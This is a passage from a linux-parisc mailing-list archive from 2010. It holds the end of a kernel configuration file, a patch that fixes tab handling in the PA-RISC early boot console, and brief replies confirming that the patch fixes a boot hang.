# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_STAGING is not set

#
# File systems
#
CONFIG_EXT2_FS=m
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
CONFIG_EXT3_FS_XATTR=y
# CONFIG_EXT3_FS_POSIX_ACL is not set
# CONFIG_EXT3_FS_SECURITY is not set
CONFIG_EXT4_FS=m
CONFIG_EXT4_FS_XATTR=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=m
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=m
CONFIG_REISERFS_FS=m
# CONFIG_REISERFS_CHECK is not set
CONFIG_REISERFS_PROC_INFO=y
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
# CONFIG_QUOTA_NETLINK_INTERFACE is not set
CONFIG_PRINT_QUOTA_WARNING=y
# CONFIG_QUOTA_DEBUG is not set
CONFIG_QUOTA_TREE=m
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_AUTOFS_FS=m
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
# CONFIG_CUSE is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
CONFIG_MISC_FILESYSTEMS=y
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_LOGFS is not set
CONFIG_CRAMFS=y
# CONFIG_SQUASHFS is not set
CONFIG_VXFS_FS=m
CONFIG_MINIX_FS=m
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
CONFIG_ROMFS_FS=m
CONFIG_ROMFS_BACKED_BY_BLOCK=y
# CONFIG_ROMFS_BACKED_BY_MTD is not set
# CONFIG_ROMFS_BACKED_BY_BOTH is not set
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_SYSV_FS=m
CONFIG_UFS_FS=m
# CONFIG_UFS_FS_WRITE is not set
# CONFIG_UFS_DEBUG is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
# CONFIG_NFS_V4 is not set
CONFIG_NFSD=m
CONFIG_NFSD_V2_ACL=y
CONFIG_NFSD_V3=y
CONFIG_NFSD_V3_ACL=y
# CONFIG_NFSD_V4 is not set
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=m
CONFIG_NFS_ACL_SUPPORT=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_RPCSEC_GSS_KRB5=m
CONFIG_RPCSEC_GSS_SPKM3=m
# CONFIG_SMB_FS is not set
# CONFIG_CEPH_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=2048
CONFIG_MAGIC_SYSRQ=y
# CONFIG_STRIP_ASM_SYMS is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
CONFIG_DETECT_SOFTLOCKUP=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
CONFIG_DETECT_HUNG_TASK=y
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
CONFIG_DEBUG_SLAB=y
CONFIG_DEBUG_SLAB_LEAK=y
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_PI_LIST=y
CONFIG_RT_MUTEX_TESTER=y
# CONFIG_DEBUG_SPINLOCK is not set
CONFIG_DEBUG_MUTEXES=y
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
CONFIG_DEBUG_LOCKING_API_SELFTESTS=y
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_LIST=y
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_CPU_STALL_DETECTOR is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
CONFIG_DEBUG_BLOCK_EXT_DEVT=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
CONFIG_LKDTM=m
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_SYSCTL_SYSCALL_CHECK=y
# CONFIG_PAGE_POISONING is not set
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
# CONFIG_DYNAMIC_DEBUG is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
# CONFIG_DEFAULT_SECURITY_SELINUX is not set
# CONFIG_DEFAULT_SECURITY_SMACK is not set
# CONFIG_DEFAULT_SECURITY_TOMOYO is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_FIPS=y
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=m
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
CONFIG_CRYPTO_TEST=m

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=m
CONFIG_CRYPTO_GCM=m
CONFIG_CRYPTO_SEQIV=m

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
CONFIG_CRYPTO_CTR=m
CONFIG_CRYPTO_CTS=m
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_GHASH=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=m
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_RMD128=m
CONFIG_CRYPTO_RMD160=m
CONFIG_CRYPTO_RMD256=m
CONFIG_CRYPTO_RMD320=m
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_ANUBIS=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_BLOWFISH=m
# CONFIG_CRYPTO_CAMELLIA is not set
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
CONFIG_CRYPTO_LZO=m

#
# Random Number Generation
#
CONFIG_CRYPTO_ANSI_CPRNG=m
CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_HIFN_795X=m
# CONFIG_CRYPTO_DEV_HIFN_795X_RNG is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_FIND_LAST_BIT=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC_T10DIF=m
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_COMPRESS=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y

--k1lZvvs/B4yU6o8G--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [PATCH] parisc: pass through '\t' to early (iodc) console
Date: Sun, 18 Jul 2010 21:07:25 -0400
Lines: 80
Approved: news@gmane.org
Message-ID: <20100719010725.GN10884@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1279501650 18686 80.91.229.12 (19 Jul 2010 01:07:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 19 Jul 2010 01:07:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 19 03:07:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OaepL-0001vH-IW
	for glpp-linux-parisc@lo.gmane.org; Mon, 19 Jul 2010 03:07:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757904Ab0GSBH0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jul 2010 21:07:26 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:59017 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757900Ab0GSBH0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jul 2010 21:07:26 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OaepJ-0003jT-A5; Mon, 19 Jul 2010 01:07:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2993>

This should fix the hang, JDA.

Sorry, looks like Linus missed it when he came back from his
scuba diving trip.

I'll resend it in the morning.

--Kyle

----- Forwarded message from Kyle McMartin <kyle@mcmartin.ca> -----

Date: Mon, 14 Jun 2010 12:02:27 -0400
From: Kyle McMartin <kyle@mcmartin.ca>
To: linux-parisc@vger.kernel.org
Subject: [PATCH] parisc: pass through '\t' to early (iodc) console
Sender: linux-parisc-owner@vger.kernel.org
Message-ID: <20100614160227.GK20317@bombadil.infradead.org>
User-Agent: Mutt/1.5.19 (2009-01-05)

The firmware handles '\t' internally, so stop trying to emulate it
(which, incidentally, had a bug in it.)

Fixes a really weird hang at bootup in rcu_bootup_announce, which,
as far as I can tell, is the first printk in the core kernel to use
a tab as the first character.

Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
---
 arch/parisc/kernel/firmware.c |   12 ++----------
 1 files changed, 2 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 4c247e0..df971fa 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1123,7 +1123,6 @@ static char __attribute__((aligned(64))) iodc_dbuf[4096];
  */
 int pdc_iodc_print(const unsigned char *str, unsigned count)
 {
-	static int posx;        /* for simple TAB-Simulation... */
 	unsigned int i;
 	unsigned long flags;
 
@@ -1133,19 +1132,12 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
-			posx = 0;
 			goto print;
-		case '\t':
-			while (posx & 7) {
-				iodc_dbuf[i] = ' ';
-				i++, posx++;
-			}
-			break;
 		case '\b':	/* BS */
-			posx -= 2;
+			i--; /* overwrite last */
 		default:
 			iodc_dbuf[i] = str[i];
-			i++, posx++;
+			i++;
 			break;
 		}
 	}
-- 
1.7.0.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


----- End forwarded message -----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] parisc: pass through '\t' to early (iodc) console
Date: Sun, 18 Jul 2010 21:14:37 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20100719011437.C832C4D1C@hiauly1.hia.nrc.ca>
References: <20100719010725.GN10884@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1279502084 19571 80.91.229.12 (19 Jul 2010 01:14:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 19 Jul 2010 01:14:44 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 19 03:14:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OaewK-0003ab-4X
	for glpp-linux-parisc@lo.gmane.org; Mon, 19 Jul 2010 03:14:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757922Ab0GSBOj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jul 2010 21:14:39 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1375 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757921Ab0GSBOi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jul 2010 21:14:38 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C832C4D1C; Sun, 18 Jul 2010 21:14:37 -0400 (EDT)
In-Reply-To: <20100719010725.GN10884@bombadil.infradead.org> from "Kyle McMartin" at Jul 18, 2010 09:07:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2994>

> This should fix the hang, JDA.

Thanks Kyle, I'll give it a try.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] parisc: pass through '\t' to early (iodc) console
Date: Sun, 18 Jul 2010 21:47:30 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <20100719014731.9F3614CF6@hiauly1.hia.nrc.ca>
References: <20100719010725.GN10884@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1279504067 23279 80.91.229.12 (19 Jul 2010 01:47:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 19 Jul 2010 01:47:47 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 19 03:47:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OafS9-0001oh-CN
	for glpp-linux-parisc@lo.gmane.org; Mon, 19 Jul 2010 03:47:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757999Ab0GSBrd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jul 2010 21:47:33 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1383 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757997Ab0GSBrc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jul 2010 21:47:32 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9F3614CF6; Sun, 18 Jul 2010 21:47:31 -0400 (EDT)
In-Reply-To: <20100719010725.GN10884@bombadil.infradead.org> from "Kyle McMartin" at Jul 18, 2010 09:07:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2995>

> This should fix the hang, JDA.

Fixes boot.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Fri, 23 Jul 2010 21:10:55 +0200
Lines: 331
Approved: news@gmane.org
Message-ID: <20100723191055.GA27054@merkur.ravnborg.org>
References: <201007181703.17022.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1279912280 8252 80.91.229.12 (23 Jul 2010 19:11:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Jul 2010 19:11:20 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jul 23 21:11:17 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OcNeO-0002oN-Bs
	for glk-linux-kernel-3@lo.gmane.org; Fri, 23 Jul 2010 21:11:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756297Ab0GWTK7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 23 Jul 2010 15:10:59 -0400
Original-Received: from pfepb.post.tele.dk ([195.41.46.236]:53393 "EHLO
	pfepb.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752025Ab0GWTK6 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 23 Jul 2010 15:10:58 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepb.post.tele.dk (Postfix) with ESMTP id C7FCFF84021;
	Fri, 23 Jul 2010 21:10:55 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <201007181703.17022.vda.linux@googlemail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1013788 gmane.linux.kernel.cross-arch:7144 gmane.linux.ports.parisc:2997
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2997>

